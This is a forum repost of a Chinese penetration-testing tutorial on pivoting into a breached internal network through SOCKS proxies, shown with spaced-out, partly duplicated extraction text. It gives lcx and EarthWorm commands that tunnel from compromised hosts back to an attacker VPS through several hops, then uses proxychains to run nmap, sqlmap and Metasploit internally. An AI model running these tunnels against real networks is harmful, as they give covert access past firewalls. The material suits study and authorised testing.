搜索

[26770] 2019-02-28_内网漫游之SOCKS代理大结局

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-19
2019-02-28_内网漫游之SOCKS代理大结局 内 网 漫 游 之 S O C K S 代 理 大 结 局 原 创   徐 焱   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 0 2 - 2 8 喜 欢 和 爱 ， 好 比 想 吃 和 去 买 ▲ M s 0 8 0 6 7 这 篇 文 章 是 我 这 篇 文 章 是 我 3 年 前 在 年 前 在 3 6 0 安 全 客 投 的 第 一 篇 文 章 ， 在 网 上 广 为 流 传 ， 帮 助 了 很 多 新 手 对 于 内 网 安 全 客 投 的 第 一 篇 文 章 ， 在 网 上 广 为 流 传 ， 帮 助 了 很 多 新 手 对 于 内 网 s o c k s 代 理 的 学 习 。 选 代 理 的 学 习 。 选 用 此 文 章 作 为 公 众 号 开 通 后 的 第 一 篇 文 章 ， 也 是 希 望 自 己 能 够 不 忘 初 心 ， 继 续 多 写 一 些 对 新 手 有 帮 助 的 文 章 ！ 用 此 文 章 作 为 公 众 号 开 通 后 的 第 一 篇 文 章 ， 也 是 希 望 自 己 能 够 不 忘 初 心 ， 继 续 多 写 一 些 对 新 手 有 帮 助 的 文 章 ！ 0 × 0 1   引 言 引 言 在 实 际 渗 透 过 程 中 ， 我 们 成 功 入 侵 了 目 标 服 务 器 。 接 着 我 们 想 在 本 机 上 通 过 浏 览 器 或 者 其 他 客 户 端 软 件 访 问 目 标 机 器 内 部 网 络 中 所 开 放 的 端 口 ， 比 如 内 网 的 3 3 8 9 端 口 、 内 网 网 站 8 0 8 0 端 口 等 等 。 传 统 的 方 法 是 利 用 n c 、 l c x 等 工 具 ， 进 行 端 口 转 发 。 适 用 端 口 转 发 的 网 络 环 境 有 以 下 几 种 ： 1 .   服 务 器 处 于 内 网 ， 可 以 访 问 外 部 网 络 。 2 .   服 务 器 处 于 外 网 ， 可 以 访 问 外 部 网 络 ， 但 是 服 务 器 安 装 了 防 火 墙 来 拒 绝 敏 感 端 口 的 连 接 。 3 .   服 务 器 处 于 内 网 ， 对 外 只 开 放 了 8 0 端 口 ， 并 且 服 务 器 不 能 访 问 外 网 网 络 。 对 于 以 上 三 种 情 况 ， l c x 可 以 突 破 1 和 2 二 种 ， 但 是 第 3 种 就 没 有 办 法 了 ， 因 为 l c x 在 使 用 中 需 要 访 问 外 部 网 络 。 这 里 的 第 3 种 就 可 以 用 到 我 们 今 天 重 点 要 讲 的 S O C K S 代 理 。 S o c k s 是 一 种 代 理 服 务 ， 可 以 简 单 地 将 一 端 的 系 统 连 接 到 另 外 一 端 。 支 持 多 种 协 议 ， 包 括 h t t p 、 f t p 请 求 及 其 它 类 型 的 请 求 。 它 分 s o c k s   4   和 s o c k s   5 两 种 类 型 ， s o c k s   4 只 支 持 T C P 协 议 而 s o c k s   5 支 持 T C P / U D P 协 议 ， 还 支 持 各 种 身 份 验 证 机 制 等 协 议 。 其 标 准 端 口 为 1 0 8 0 。 S o c k s 在 渗 透 测 试 中 使 用 特 别 广 泛 ， 能 够 很 方 便 让 我 们 与 目 标 内 网 计 算 机 之 间 通 信 ， 避 免 了 一 次 又 一 次 使 用 端 口 转 发 的 麻 烦 。 比 较 常 见 的 S o c k s 5 工 具 有 h t r a n ， r e G e o r g 等 ， s o c k s 4 的 有 m e t a s p l o i t 。 在 实 际 渗 透 测 试 过 程 中 ， 当 我 们 成 功 的 拿 下 第 一 台 堡 垒 机 后 ， 此 时 我 们 又 想 对 目 标 内 网 进 一 步 渗 透 测 试 时 ， s o c k s 能 够 帮 助 我 们 更 加 快 速 的 ， 方 便 的 访 问 目 标 内 网 的 各 种 资 源 ， 比 传 统 的 端 口 转 发 更 加 实 用 。 0 × 0 2   渗 透 环 境 渗 透 环 境 此 次 渗 透 的 环 境 ： 左 侧 是 我 的 个 人 电 脑 （ 内 网 ） 和 一 台 有 公 网 I P 的 V P S ， 右 侧 是 一 个 小 型 内 网 。 假 设 我 们 现 在 已 经 渗 透 了 一 台 W E B 服 务 器 ， 该 服 务 器 内 网 I P 为 1 0 . 4 8 . 1 2 8 . 2 5 。 经 过 扫 描 ， 右 侧 小 型 内 网 网 络 结 构 如 图 所 示 。 其 中 我 们 控 制 的 W E B 服 务 器 是 连 接 外 网 和 内 网 的 关 键 节 点 ， 内 网 其 他 服 务 器 均 不 能 直 接 连 接 。 图 是 我 老 婆 用 C A D 画 的 ， 还 不 错 吧 ！ :   )
0 × 0 3   s o c k e t 端 口 转 发 端 口 转 发 首 先 我 们 介 绍 下 最 为 经 典 也 是 使 用 最 为 频 繁 的 端 口 转 发 工 具 l c x ， l c x . e x e   是 一 个 基 于   s o c k e t   套 接 字 实 现 的 端 口 转 发 工 具 ， 它 是 从   l i n u x   下 的 h t r a n   工 具 移 植 到 w i n d o w s 平 台 的 。 一 条 正 常 的 s o c k e t 隧 道 必 具 备 两 端 ， 一 侧 为 服 务 端 ， 它 会 监 听 一 个 端 口 等 待 客 户 端 连 接 ； 另 一 侧 为 客 户 端 ， 通 过 传 入 服 务 端 的 i p 和 端 口 ， 才 能 主 动 连 接 到 服 务 器 。 比 如 要 转 发 上 图 中 目 标 机 器 1 0 . 4 8 . 1 2 8 . 2 5 的 3 3 8 9 端 口 ： 1 、 在 目 标 机 器 1 0 . 4 8 . 1 2 8 . 2 5 上 执 行 l c x . e x e   – s l a v e   1 3 9 . X X X . X X . 1 1 3   9 0 0 0   1 0 . 4 8 . 1 2 8 . 2 5   3 3 8 9 此 段 命 令 意 思 是 将 目 标 机 器 3 3 8 9 端 口 的 所 有 数 据 都 转 发 到 公 网 V P S 的 9 0 0 0 端 口 上 。 2 、 在 V P S 上 执 行 l c x . e x e   – l i s t e n   9 0 0 0   5 5 5 5 此 段 命 令 意 思 是 将 本 机 9 0 0 0 端 口 上 监 听 到 的 所 有 数 据 转 发 到 本 机 的 5 5 5 5 端 口 上 。 3 、 在 左 侧 的 M y   P C 机 上 用 m s t s c 登 陆 1 3 9 . X X X . X X . 1 1 3 : 5 5 5 5 或 者 在 V P S 上 用 m s t s c 登 陆 1 2 7 . 0 . 0 . 1 : 5 5 5 5 。 即 可 访 问 右 侧 内 部 网 络 中 1 0 . 4 8 . 1 2 8 . 2 5 服 务 器 的 3 3 8 9 端 口 。 L c x 工 具 实 现 的 是 一 对 一 的 端 口 转 发 ， 如 果 想 访 问 右 侧 网 络 中 列 出 的 所 有 端 口 ， 就 必 须 一 次 次 的 重 复 l c x 的 转 发 过 程 ， 效 率 相 当 低 下 。 而 且 服 务 器 都 是 有 装 有 杀 毒 软 件 的 ， 即 使 有 做 免 杀 也 不 能 保 证 绕 过 所 有 的 杀 毒 。 像 这 种 情 况 就 可 以 用 到 s o c k s 代 理 ， 在 1 0 . 4 8 . 1 2 8 . 2 5 这 台 既 能 连 接 互 联 网 又 能 连 接 内 网 的 W E B 服 务 器 上 架 设 代 理 。 0 × 0 4   S O C K S 代 理 工 具 代 理 工 具 s o c k s 代 理 其 实 也 可 理 解 为 一 个 增 强 版 的   l c x ， 它 在 服 务 端 监 听 一 个 服 务 端 口 ， 当 有 新 的 连 接 请 求 时 会 从 s o c k s 协 议 中 解 析 出 访 问 目 标 的 U R L 的 目 标 端 口 ， 再 开 始 执 行 l c x 的 具 体 功 能 。 网 络 上 S o c k s 代 理 工 具 有 很 多 ， 选 用 的 时 候 尽 可 能 使 用 无 G U I 界 面 的 工 具 ， 还 有 尽 可 能 不 需 要 安 装 其 他 依 赖 软 件 ， 能 够 支 持 多 平 台 操 作 系 统 的 更 佳 。
1 . E a r t h w o r m                                                       网 址 ： h t t p s : / / g i t h u b . c o m / r o o t k i t e r / E a r t h W o r m E W   是 一 套 便 携 式 的 网 络 穿 透 工 具 ， 具 有   S O C K S   v 5 服 务 架 设 和 端 口 转 发 两 大 核 心 功 能 ， 可 在 复 杂 网 络 环 境 下 完 成 网 络 穿 透 。 该 工 具 能 够 以 “ 正 向 ” 、 “ 反 向 ” 、 “ 多 级 级 联 ” 等 方 式 打 通 一 条 网 络 隧 道 ， 直 达 网 络 深 处 ， 用 蚯 蚓 独 有 的 手 段 突 破 网 络 限 制 ， 给 防 火 墙 松 土 。 工 具 包 中 提 供 了 多 种 可 执 行 文 件 ， 以 适 用 不 同 的 操 作 系 统 ， L i n u x 、 W i n d o w s 、 M a c O S 、 A r m - L i n u x   均 被 包 括 其 内 , 强 烈 推 荐 使 用 。 T e r m i t e : h t t p s : / / g i t h u b . c o m / r o o t k i t e r / T e r m i t e     2 . r e G e o r g                   网 址 ： h t t p s : / / g i t h u b . c o m / N o n e N o t N u l l / r e G e o r g r e G e o r g 是 r e D u h 的 升 级 版 ， 主 要 是 把 内 网 服 务 器 的 端 口 通 过 h t t p / h t t p s 隧 道 转 发 到 本 机 ， 形 成 一 个 回 路 。 用 于 目 标 服 务 器 在 内 网 或 做 了 端 口 策 略 的 情 况 下 连 接 目 标 服 务 器 内 部 开 放 端 口 。 它 利 用 w e b s h e l l 建 立 一 个 s o c k s 代 理 进 行 内 网 穿 透 ， 服 务 器 必 须 支 持 a s p x 、 p h p 或 j s p 这 些 w e b 程 序 中 的 一 种 。 3 . s S o c k s                         网 址 ： h t t p : / / s o u r c e f o r g e . n e t / p r o j e c t s / s s o c k s s S o c k s 是 一 个 s o c k s 代 理 工 具 套 装 ， 可 用 来 开 启 s o c k s 代 理 服 务 ， 支 持 s o c k s 5 验 证 ， 支 持 I P V 6 和 U D P ， 并 提 供 反 向 s o c k s 代 理 服 务 ， 即 将 远 程 计 算 机 作 为 s o c k s 代 理 服 务 端 ， 反 弹 回 本 地 ， 极 大 方 便 内 网 的 渗 透 测 试 ， 其 最 新 版 为 0 . 0 . 1 3 。 4 . S o c k s C a p 6 4 工 具 网 址 ： h t t p : / / w w w . s o c k s c a p 6 4 . c o m         S o c k s C a p 6 4 是 一 款 在 w i n d o w s 下 相 当 好 使 的 全 局 代 理 软 件 。 S o c k s C a p 6 4 可 以 使 W i n d o w s 应 用 程 序 通 过 S O C K S 代 理 服 务 器 来 访 问 网 络 而 不 需 要 对 这 些 应 用 程 序 做 任 何 修 改 ,   即 使 某 些 本 身 不 支 持 S O C K S 代 理 的 应 用 程 序 通 过 S o c k s C a p 6 4 之 后 都 可 以 完 美 的 实 现 代 理 访 问 。             5 . P r o x i f i e r                                   工 具 地 址 ： h t t p s : / / w w w . p r o x i f i e r . c o m p r o x i f i e r 同 样 是 w i n d o w s 下 相 当 好 用 的 全 局 代 理 软 件 ， 网 上 很 容 易 找 到 注 册 码 。               6 . p r o x y c h a i n s               工 具 网 址 ： h t t p : / / p r o x y c h a i n s . s o u r c e f o r g e . n e t P r o x y c h a i n s 是 一 款 在 L I N U X 下 可 以 实 现 全 局 代 理 的 软 件 ， 性 能 相 当 稳 定 可 靠 。 在 使 任 何 程 序 通 過 代 理 上 網 ， 允 許 T C P 和 D N S 通 過 代 理 隧 道 ， 支 持 H T T P 、 S O C K S 4 、 S O C K S 5 類 型 的 代 理 服 務 器 ， 支 持 p r o x y c h a i n ， 即 可 配 置 多 個 代 理 ， 同 一 個 p r o x y   c h a i n 可 使 用 不 同 類 型 的 代 理 服 務 器 。 0 × 0 5   架 设 代 理 服 务 端 架 设 代 理 服 务 端           在 实 际 渗 透 测 试 中 ， 我 经 常 使 用 的 s o c k s 工 具 是 E W ， 该 程 序 体 积 很 小 ， L I N U X 的 只 有 3 0 K B 左 右 ， W i n d o w s 下 面 的 也 只 有 5 6 K B ， 而 且 不 需 要 再 做 其 他 设 置 ， 真 的 是 居 家 旅 行 之 必 备 之 物 。 下 载 打 开 E W 软 件 文 件 夹 ， 可 以 看 到 有 针 对 各 种 系 统 用 的 程 序 ， 如 下 图 ： 根 据 你 实 际 的 操 作 系 统 选 用 就 可 以 了 ， 因 为 我 们 此 次 渗 透 是 W I N D O W S 的 所 以 就 用 e w _ f o r _ w i n . e x e 这 个 程 序 了 。 E W 的 使 用 也 非 常 简 单 ， 该 工 具 共 有   6   种 命 令 格 式 （ s s o c k s d 、 r c s o c k s 、 r s s o c k s 、 l c x _ s l a v e 、 l c x _ l i s t e n 、 l c x _ t r a n ） 。 首 先 介 绍 用 于 普 通 网 络 环 境 的 正 向 连 接 s s o c k s d 命 令 和 反 弹 连 接 r c s o c k s 命 令 、 r s s o c k s 命 令 ， 再 介 绍 用 于 复 杂 网 络 环 境 的 多 级 级 联 。 #   简 单 解 释 下 正 向 代 理 和 反 向 代 理 的 区 别 ， 正 向 代 理 就 是 我 们 主 动 通 过 简 单 解 释 下 正 向 代 理 和 反 向 代 理 的 区 别 ， 正 向 代 理 就 是 我 们 主 动 通 过 p r o x y 来 访 问 目 标 机 器 ， 反 向 代 理 就 是 目 标 机 来 访 问 目 标 机 器 ， 反 向 代 理 就 是 目 标 机 器 通 过 器 通 过 p r o x y 主 动 来 连 接 我 们 。 主 动 来 连 接 我 们 。   1 . 正 向 正 向 s o c k s   v 5 服 务 器 服 务 器           适 用 于 目 标 机 器 拥 有 一 个 外 网 I P e w   – s   s s o c k s d   – l   8 8 8 上 述 命 令 架 设 了 一 个 端 口 为 8 8 8 ， S O C K S 的 代 理 。 然 后 使 用 s o c k s c a p 6 4 添 加 这 个 I P 的 代 理 就 可 以 使 用 了 。 比 较 简 单 就 不 演 示
了 。         2 . 反 弹 反 弹 s o c k s   v 5 服 务 器 服 务 器   适 用 于 目 标 机 器 没 有 公 网 I P ， 但 可 访 问 内 网 资 源 A ． 先 上 传 e w   到 左 侧 i p 地 址 为 1 3 9 . X X X . X X . 1 1 3 公 网 V P S 的 C 盘 上 ， 运 行 下 列 命 令 ： e w   - s   r c s o c k s   - l   1 0 0 8   - e   8 8 8 该 命 令 的 意 思 是 在 我 们 公 网 V P S 上 添 加 一 个 转 接 隧 道 ， 把 1 0 8 0 端 口 收 到 的 代 理 请 求 转 交 给 8 8 8 端 口 B ． 上 传 E W 到 右 侧 I P 地 址 为 1 0 . 4 8 . 1 2 8 . 2 5 的 W E B 服 务 器 C 盘 上 ， 运 行 下 列 命 令 ： e w   - s   r s s o c k s   - d   1 3 9 . X X X . X X . 1 1 3   - e   8 8 8 该 命 令 的 意 思 是 在 1 0 . 4 8 . 1 2 8 . 2 5 上 启 动 S O C K S   V 5 服 务 ， 并 反 弹 到 I P 地 址 为 1 3 9 . X X X . X X . 1 1 3 左 侧 公 网 V P S 的 8 8 8 端 口 上 。 C ． 返 回 我 们 公 网 V P S 的 C M D 界 面 下 ， 可 以 看 到 已 经 反 弹 成 功 了 。 现 在 就 可 以 通 过 访 问 1 3 9 . X X X . X X . 1 1 3 : 1 0 0 8 端 口 使 用 在 右 侧 1 0 . 4 8 . 1 2 8 . 2 5 架 设 的 S O C K S 5 代 理 服 务 了 。 3 . 二 级 网 络 环 境 （ 一 ） 二 级 网 络 环 境 （ 一 ） 假 设 我 们 获 得 了 右 侧 A 主 机 和 B 主 机 的 控 制 权 限 ， A 主 机 配 有 2 块 网 卡 ， 一 块 连 通 外 网 ， 一 块 1 0 . 4 8 . 1 2 8 . 2 5 只 能 连 接 内 网 B 主 机 ， 无 法 访 问 内 网 其 它 资 源 。 B 主 机 可 以 访 问 内 网 资 源 ， 但 无 法 访 问 外 网 。 A . 先 上 传 e w 到 B 主 机 ， 利 用 s s o c k s d 方 式 启 动 8 8 8 端 口 的 S O C K S 代 理 ， 命 令 如 下 ： e w   - s   s s o c k s d   - l   8 8 8 B . 上 传 e w 到 右 侧 A 主 机 ， 运 行 下 列 命 令 ： e w   - s   l c x _ t r a n   - l   1 0 8 0   - f   1 0 . 4 8 . 1 2 8 . 4 9   - g   8 8 8 该 命 令 意 思 是 将 1 0 8 0 端 口 收 到 的 代 理 请 求 转 交 给 B 主 机 （ 1 0 . 4 8 . 1 2 8 . 4 9 ） 的 8 8 8 端 口 。 C . 可 以 通 过 访 问 A 主 机 外 网 1 3 9 . X X X . X X . 1 1 3 : 1 0 8 0 来 使 用 在 B 主 机 架 设 的 s o c k s 5 代 理 。 4 . 二 级 网 络 环 境 （ 二 ） 二 级 网 络 环 境 （ 二 ） 假 设 我 们 获 得 了 右 侧 A 主 机 和 B 主 机 的 控 制 权 限 ， A 主 机 没 有 公 网 I P ， 也 无 法 访 问 内 网 资 源 。 B 主 机 可 以 访 问 内 网 资 源 ， 但 无 法 访 问 外 网 。
这 个 操 作 分 为 4 步 ， 用 到 l c x _ l i s t e n 和 l c x _ s l a v e 命 令 ： A .   先 上 传 e w   到 左 侧 公 网 V P S 上 ， 运 行 下 列 命 令 ： e w   – s   l c x _ l i s t e n   – l   1 0 8 0 0   – e   8 8 8 该 命 令 意 思 是 在 公 网 V P S 添 加 转 接 隧 道 ， 将 1 0 8 0 0 端 口 收 到 的 代 理 请 求 转 交 给 8 8 8 端 口 。 B . 上 传 e w 到 右 侧 B 主 机 ， 并 利 用 s s o c k s d 方 式 启 动 9 9 9 端 口 的 s o c k s 代 理 ， 命 令 如 下 ： e w   - s   s s o c k s d   - l   9 9 9 C . 上 传 e w   到 右 侧 A 主 机 ， 运 行 下 列 命 令 ： e w   - s   l c x _ s l a v e   - d   1 3 9 . X X X . X X . 1 1 3   - e   8 8 8   - f   1 0 . 4 8 . 1 2 8 . 4 9 - g   9 9 9 该 命 令 意 思 是 在 A 主 机 上 利 用 l c x _ s l a v e 方 式 ， 将 公 网 V P S 的 8 8 8 端 口 和 B 主 机 的 9 9 9 端 口 连 接 起 来 。 D .   返 回 我 们 公 网 V P S 的 C M D 界 面 下 ， 可 以 看 到 已 经 连 接 成 功 了 。 现 在 就 可 以 通 过 访 问 公 网 V P S 地 址 1 3 9 . X X X . X X . 1 1 3 : 1 0 8 0 0 来 使 用 在 B 主 机 架 设 的 s o c k s 5 代 理 。 5 . 三 级 网 络 环 境 三 级 网 络 环 境 三 级 网 络 环 境 在 实 际 渗 透 中 用 的 比 较 少 ， 也 比 较 复 杂 ， 现 在 我 们 来 一 个 个 的 讲 解 下 三 级 级 联 的 用 法 。 假 设 渗 透 场 景 ： 右 侧 内 网 A 主 机 没 有 公 网 I P 但 可 以 访 问 外 网 ， B 主 机 不 能 访 问 外 网 但 可 以 被 A 主 机 访 问 、 C 主 机 可 被 B 主 机 访 问 而 且 能 够 访 问 核 心 区 域 。
A .   在 左 侧 公 网 V P S 上 运 行 命 令 ， 将 1 0 8 0 端 口 收 到 的 代 理 请 求 转 交 给 8 8 8 端 口 ： e w   - s   r c s o c k s   - l   1 0 8 0   - e   8 8 8 B . 在 A 主 机 上 运 行 命 令 ， 将 公 网 V P S 的 8 8 8 端 口 和 B 主 机 的 9 9 9 端 口 连 接 起 来 ： e w   - s   l c x _ s l a v e   - d   1 3 9 . X X X . X X . 1 1 3   - e   8 8 8   - f   1 0 . 4 8 . 1 2 8 . 1 2 - g   9 9 9               C . 在 B 主 机 上 运 行 命 令 ， 将 9 9 9 端 口 收 到 的 代 理 请 求 转 交 给 7 7 7 端 口 ： e w   - s   l c x _ l i s t e n   - l   9 9 9   - e   7 7 7 D . 在 C 主 机 上 启 动 S O C K S   V 5 服 务 ， 并 反 弹 到 B 主 机 的 7 7 7 端 口 上 ， 命 令 如 下 。 e w   - s   r s s o c k s   - d   1 0 . 4 8 . 1 2 8 . 1 2   - e   7 7 7 E . 在 M Y   P C 上 可 以 通 过 访 问 公 网 V P S   1 3 9 . X X X . X X . 1 1 3 : 1 0 8 0 来 使 用 在 C 主 机 架 设 的 s o c k s 5 代 理 。                       整 个 数 据 流 向 是 ： 整 个 数 据 流 向 是 ： S O C K S   V 5   →   1 0 8 0   →   8 8 8   → 9 9 9   → 7 7 7   →   r s s o c k s 0 × 0 6   内 网 漫 游 内 网 漫 游 1 . W i n d o w s 下 使 用 下 使 用 s o c k s c a p 6 4 首 先 下 载 安 装 好 S o c k s C a p 6 4 后 ， 以 管 理 员 权 限 打 开 。 默 认 浏 览 器 已 经 添 加 。 使 用 比 较 简 单 ， 点 击 代 理 ， 点 击 添 加 一 个 代 理 ， 然 后 设 置 下 代 理 服 务 器 I P 和 端 口 就 可 以 使 用 了 。 设 置 好 后 可 以 点 击 软 件 右 边 有 个 闪 电 的 小 圆 点 ， 测 试 下 当 前 代 理 服 务 器 是 否 可 以 连 接 ， 如 下 图 ， 连 接 是 正 常 的 。 这 个 时 候 就 可 以 选 择 浏 览 器 ， 右 击 在 代 理 隧 道 中 运 行 选 中 的 程 序 ， 然 后 我 们 就 可 以 自 由 访 问 我 们 想 访 问 的 内 网 资 源 了 ， 比 如 我 们 可 以 访
问 1 0 . 4 8 . 1 2 8 . 2 2 路 由 的 8 0 端 口 ， 如 下 图 ： 可 以 看 到 我 们 已 经 成 功 的 通 过 s o c k s 代 理 漫 游 内 部 网 络 W E B 资 源 ， 我 们 接 着 看 看 还 有 哪 些 程 序 能 够 利 用 S O C K S C A P 的 程 序 通 过 代 理 访 问 内 网 中 的 哪 些 端 口 了 ？ 尝 试 登 陆 1 0 . 4 8 . 1 2 8 . 2 0 的 3 3 8 9 端 口 ， 可 以 看 到 成 功 登 陆 。 我 们 可 以 在 我 们 的 公 网 V P S 的 命 令 行 下 可 以 看 到 ， 不 停 的 有 数 据 的 交 换 。 再 尝 试 P U T T Y 访 问 1 0 . 4 8 . 1 2 8 . 4 9 的 2 2 端 口 ， 成 功 登 陆 。 再 试 试 V N C 端 口 ， 因 为 1 0 . 4 8 . 1 2 8 . 2 5 开 了 5 9 0 0 端 口 ， O K ， 成 功 访 问 。 大 家 可 以 看 到 这 种 利 用 S O C K S 代 理 实 现 一 对 多 端 口 映 射 的 优 势 立 刻 就 体 现 了 出 来 ， 效 率 倍 增 。 但 是 将 扫 描 工 具 进 行 S O C K S C A P 代 理 ， 然 后 对 内 网 网 段 进 行 扫 描 ， 我 没 有 尝 试 成 功 ， 大 家 可 以 多 多 的 尝 试 各 种 工 具 ! 我 在 代 理 下 用 扫 描 工 具 一 般 都 是 用 p r o x y c h a i n s ， 大 家 接 着 往 下 看 ！   2 . L I N U X 下 使 用 下 使 用 p r o x y c h a i n s
K A L I 系 统 已 经 预 装 好 了 这 个 工 具 ， 我 们 稍 作 配 置 就 可 以 使 用 ， 打 开 终 端 ， 输 入 命 令 ： v i   / e t c / p r o x y c h a i n s . c o n f   #   顺 便 补 充 下 顺 便 补 充 下 L I N U X 下 下 V i m 编 辑 器 简 单 使 用 方 法 编 辑 器 简 单 使 用 方 法 使 用 上 面 命 令 进 入 文 本 后 ， 摁 “ i ” 键 就 进 入 了 编 辑 模 式 ， 可 以 对 文 本 进 行 修 改 ， 修 改 完 后 摁 e s c   然 后 摁 住 s h i f t + ； 左 下 角 会 出 现 一 个 冒 号 ， 如 下 图 。 这 个 时 候 输 入 w q ， 摁 回 车 保 存 并 退 出 。 第 一 步 先 删 掉 d y n a m i c _ c h a i n 前 面 的 注 释 符 （ 也 就 是 # 符 号 ） ， 如 下 图 然 后 拉 到 最 下 面 ， 把 默 认 是 s o c k s 4 1 2 7 . 0 . 0 . 1   9 0 5 0   的 地 方 改 成 我 们 架 设 的 代 理 服 务 1 3 9 . X X X . X X . 1 1 3   1 0 0 8 这 样 就 设 置 完 成 了 ， 我 们 接 着 测 试 下 代 理 服 务 是 否 正 常 ， 在 终 端 输 入 p r o x y r e s o l v   w w w . b a i d u . c o m 此 时 如 上 图 所 示 会 显 示 未 找 到 命 令 ， 不 要 担 心 ， 继 续 在 终 端 输 入 下 列 命 令 c p   / u s r / l i b / p r o x y c h a i n s 3 / p r o x y r e s o l v   / u s r / b i n / 然 后 再 次 测 试 下 代 理 服 务 器 是 否 正 常 ， 如 下 图 ， 显 示 O K 就 表 示 配 置 正 确 了 。 现 在 我 们 就 可 以 愉 快 的 畅 游 内 网 了 ， 照 例 先 访 问 内 网 网 站 试 试 看 ， 我 们 先 在 终 端 输 入 p r o x y c h a i n s   f i r e f o x 启 动 火 狐 浏 览 器 。 等 个 几 秒 钟 ， 火 狐 就 打 开 了 ， 我 们 还 是 访 问 1 0 . 4 8 . 1 2 8 . 2 2 路 由 的 8 0 端 口 看 看 。
顺 利 打 开 ， 可 以 看 到 k a l i 里 面 的 数 据 不 停 的 交 换 ， 我 们 再 打 开 1 0 . 4 8 . 1 2 8 . 4 8 看 看 ， 也 是 可 以 访 问 的 ， 一 个 Z e n d 服 务 器 测 试 页 。 接 着 就 到 了 我 们 的 重 头 戏 了 ， 我 们 找 几 个 具 有 代 表 性 的 工 具 试 试 ， 先 看 看 N M A P 和 S Q L M A P 好 使 不 ! 如 上 图 所 示 ， 均 表 示 相 当 好 使 ， 我 们 最 后 再 试 试 大 杀 器 - M e t a s p l o i t 可 不 可 以 用 。
我 们 随 便 找 个 I P 扫 扫 看 端 口 ， 如 下 图 所 示 ， 已 经 开 始 扫 描 了 。 其 他 工 具 就 不 再 一 一 介 绍 了 。 T h e E n d .
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理